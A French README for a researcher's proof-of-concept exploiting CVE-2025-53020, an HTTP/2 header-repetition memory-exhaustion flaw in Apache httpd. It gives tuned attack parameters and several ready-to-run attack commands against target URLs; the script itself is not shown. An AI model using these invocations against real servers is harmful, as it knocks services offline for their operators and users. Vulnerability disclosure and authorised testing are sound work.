
PoC pour CVE-2025-53020 - HPACK bombing pour Apache HTTPD.
Une preuve de concept démontrant CVE-2025-53020, une vulnérabilité d'épuisement mémoire dans l'implémentation HTTP/2 d'Apache httpd que j'ai découverte mi-2025.
📖 Analyse approfondie : galbarnahum.com/posts/apache-httpd-cve-2025-53020
Apache httpd est vulnérable à une attaque par déni de service via le traitement des en-têtes HTTP/2. La vulnérabilité existe en raison d'une duplication de mémoire inutile lors du traitement des noms d'en-têtes répétés dans les requêtes HTTP/2.
h2 - Bibliothèque de protocole HTTP/2tqdm - Barre de progression pour la visualisation de l'attaquepip install h2 tqdm
python poc.py --url https://target.example.com/
| Argument | Défaut | Description |
|---|---|---|
--url | obligatoire | URL cible (par ex., https://example.com/path) |
--header-name-length | 4064 | Longueur du nom d'en-tête (max : 4064) |
--header-reps | 2063 | Nombre de répétitions d'en-tête par requête (max recommandé : 2063) |
--requests-per-batch | 1 | Nombre de requêtes par lot |
--batches | 100 | Nombre de lots à envoyer |
--delay | 0 | Délai entre les lots en secondes |
--num-headers-to-repeat | 1 | Nombre de noms d'en-tête différents à créer (utilise les lettres a, b, c, etc.) |
Attaque standard contre une cible HTTPS :
python poc.py --url https://target.com/api/endpoint
Attaque avec des paramètres d'en-tête personnalisés :
python poc.py --url http://localhost:8080/test --header-reps 1000 --batches 200
Attaque avec plusieurs noms d'en-tête distincts :
python poc.py --url https://target.com --num-headers-to-repeat 3 --header-name-length 3000
Attaque plus lente avec délai entre les lots :
python poc.py --url https://target.com --delay 0.5 --batches 500
La preuve de concept inclut un correctif pour l'encodeur HPACK de la bibliothèque h2 afin de gérer correctement les valeurs d'en-tête vides. Cela corrige un bug où l'encodeur indexait incorrectement les en-têtes avec des chaînes vides (traitant "" comme faux au lieu de vérifier None).
--num-headers-to-repeat > 1, la longueur du nom d'en-tête doit être < 4000Versions d'Apache httpd vulnérables à CVE-2025-53020. Consultez les avis de sécurité officiels d'Apache pour des informations sur les versions spécifiques et les correctifs.
⚠️ Cet outil est fourni uniquement à des fins éducatives et de tests de sécurité autorisés.
Ce projet est destiné à des fins de recherche en sécurité. Utilisez-le de manière responsable et éthique.